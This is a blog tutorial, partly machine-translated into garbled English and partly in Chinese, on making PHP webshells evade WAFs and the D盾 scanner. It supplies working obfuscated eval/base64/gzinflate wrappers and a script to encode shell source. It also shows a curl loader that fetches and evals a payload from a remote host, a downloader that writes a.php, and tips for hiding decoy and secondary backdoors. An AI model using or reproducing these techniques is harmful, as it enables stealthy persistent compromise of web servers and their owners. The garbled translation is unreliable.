webshell common Bypass waf skills summary

In the process of penetration of learning, there will always encounter a variety of situations, such as php Malaysia intercepted waf time, then how to make it free to kill php webshell, then I'll take you on a little friends together to set foot on Malaysian-free road kill, do not like do not spray.

A good article content can be poor, bragging ~ ~ ~ ~ directory must be true.

A. Webshell avoid killing

0x0 php encryption built-in functions

Small example: Before making Malaysia free to kill, we take a look at, with a 后门no-kill php how Malaysia is made.

In backdoor website  webshell8 to download a good Malaysia.

Remove those obfuscated code  . '' can probably see him like this.

<?php
the eval ( gzinflate ( base64_decode ( 'source Malaysia')));
?>

Some small partner to see where there may be some reeling, and analysis of this Malaysian, I blog articles

http://kaurkd.coding.me/2018/03/17/%E5%88%86%E6%9E%90%E6%9F%90%E8%BF%87waf%E5%A4%A7%E9%A9%AC/#more

After the analysis, it is further ado. The article about the way to use  echo print_r print or random bomb or a small time frame, burp capture very convenient.

Source Encryption

php built-in encryption function, in fact, function as those encoding compression and the like, the following common functions

 
Compression function: gzcompress    gzdeflate   gzencode   base64_encode
解压函数: gzuncompress gzinflate  gzdecode  base64_decode

搭配加密函数,随意搭配,多层加密也 OK。

base64_encode(gzcompress($code)) base64_encode(gzdeflate($code));

我简单写了个脚本,大家对应修改就OK

$code= file_get_contents('D:\phpStudy\WWW\Test\Zlib\help.txt'); //大马源码路径
 
$encode = base64_encode(gzdeflate($code));  //加密函数自己修改就行
 
echo $encode; //输出加密后代码

我演示一遍

把大马去掉 <?php ?> 保存为 txt

加密后:

运行encode.php在浏览器上得到加密

复制到代码中

OK 没问题

接下来的问题就是关键字免杀的问题

eval(gzinflate(base64_decode()))

我直接用那款大马混淆过的关键字拿来用

$password='';$html='$password'.'='."'".$password."';".'@e#html'.''.'v'."".''.''."".''.''.''.'a'.''.'l('.'g'.''."".''.''.'z'.'i'.''.''.'n'.'f'.'l'.''.''."".'a'.'t'.'e(b'.'as'.''.''.''."".''.'e'.'6'.''."".''."".""."".''.'4_'.'d'.'e'.'c'.''.''.''."".''."".'o'.'d'.'e'.'('."'加密后的代码')));";$css=base64_decode("Q3JlYXRlX0Z1bmN0aW9u");$style=$css('',preg_replace("/#html/","",$html));$style();/*));.'<linkrel="stylesheet"href="$#css"/>';*/

0x1 php 自定义加密

一图胜千言

0x2 敏感函数免杀

主要是关键字的免杀,我一般直接偷网上带后门大马的。分享一个思路

这是love71表哥分享的

<?php
$l='baSe6';
$o='4_dE';
$v='cO';
$e='DE';
$love=$l.$o.$v.$e;
$a=$love('PHP大马BASE64加密内容');
eval($a=$a);
?>

我的思路很简单,把下面这段 base64 加密后

eval(gzinflate(base64_decode('大马加密后')));

然后嵌套到上面的代码

用 D 盾查杀 1 级

那么如何让 D 盾完全免杀呢,我简单修改了下。

<?php
$l='baSe6';
$o='4_dE';
$v='cO';
$e='DE';
$love=$l.$o.$v.$e;
$a=$love('PHP大马BASE64加密内容');
eval/**/(/**/(/**/$a=$a)/**/);

这让我想起,D 哥的一条微博,不禁菊花一紧。。

且用且珍惜。

二. 更小更方便

为了减小大马体积,我们常常使用 php 读取网络文件 curlfsockopen ,file_get_contents 函数,这样的大马整体体积甚至只有几百字节,但是要注意,目标网站要是禁用了,远程读取的某个函数,别喷我这样的大马根本不法运行,还有读取效率问题。

0x3 服务器远程读取

此段代码(抄袭)借鉴自 szrzvdny 表哥

    $ch = curl_init(); //初始化函数
    $timeout = 5;     //设置超时
    curl_setopt ($ch, CURLOPT_URL, 'http://www.xxx.com/233.txt'); //设置你文件地址
    curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
    $file_contents = curl_exec($ch);  //运行curl,请求网页。
    curl_close($ch);
    //最后关闭curl_close();
    eval($file_contents); //执行代码

233.txt 的内容,你直接把制作好的加密大马,去掉 <?php ?> 上传到网站上就 OK 了。

至于免杀问题,上面文章已经告诉你了,如果有兴趣可以去看我写的一个失败的大马文章

http://kaurkd.coding.me/2018/03/17/%E6%89%93%E9%80%A0%E4%B8%80%E6%AC%BE%E6%AF%941kb%E8%BF%98%E5%B0%8F%E7%9A%84%E5%85%8D%E6%9D%80%E5%A4%A7%E9%A9%AC/#more

扩展思路。

0x4 服务器远程下载

<?php
$a = 'http://www.xx.com/1.txt';
$b = 'file'.'_g'.'et_'.'contents';
$b = $b($a);
file_put_contents('a.php',$b);

运行后在同目录下生成 a.php 内容为 1.txt

三. 后门隐藏与去除

关于后门的隐藏我不会给详细代码,只是分享一些,常见思路罢了(表哥可以把菜刀从我脖子拿开了嘛。。)

0x5 隐藏

收信代码网站简单 base64 加密就 OK 了?

别人很容易看出的,使用自定义加密函数,来混淆,拆分,还有赋值变量,替换 &p 还有框架挂后门,xss 平台,总之一句话,各种骚加密混淆。

这个也很重要,还有一个很猥琐的思路,多后门,给个明面看的后门,暗地还有一个后门。

0x6 去除

首先,你得把大马代码解密出来,关于抓包不要本地测试,找台服务器,注释删除些代码来测试,常见后门关键字 geturl hmlogin等。。

总结

希望读完本篇文章对你有收获。由于我个人技术水平,无法将文章扩展开,有兴趣的表哥可以去搞搞。作者文笔不大好,有些缺漏之处,请谅解指出。

我们是站在前人的肩膀上成长起来的。

Guess you like

Origin www.cnblogs.com/Fluorescence-tjy/p/11222166.html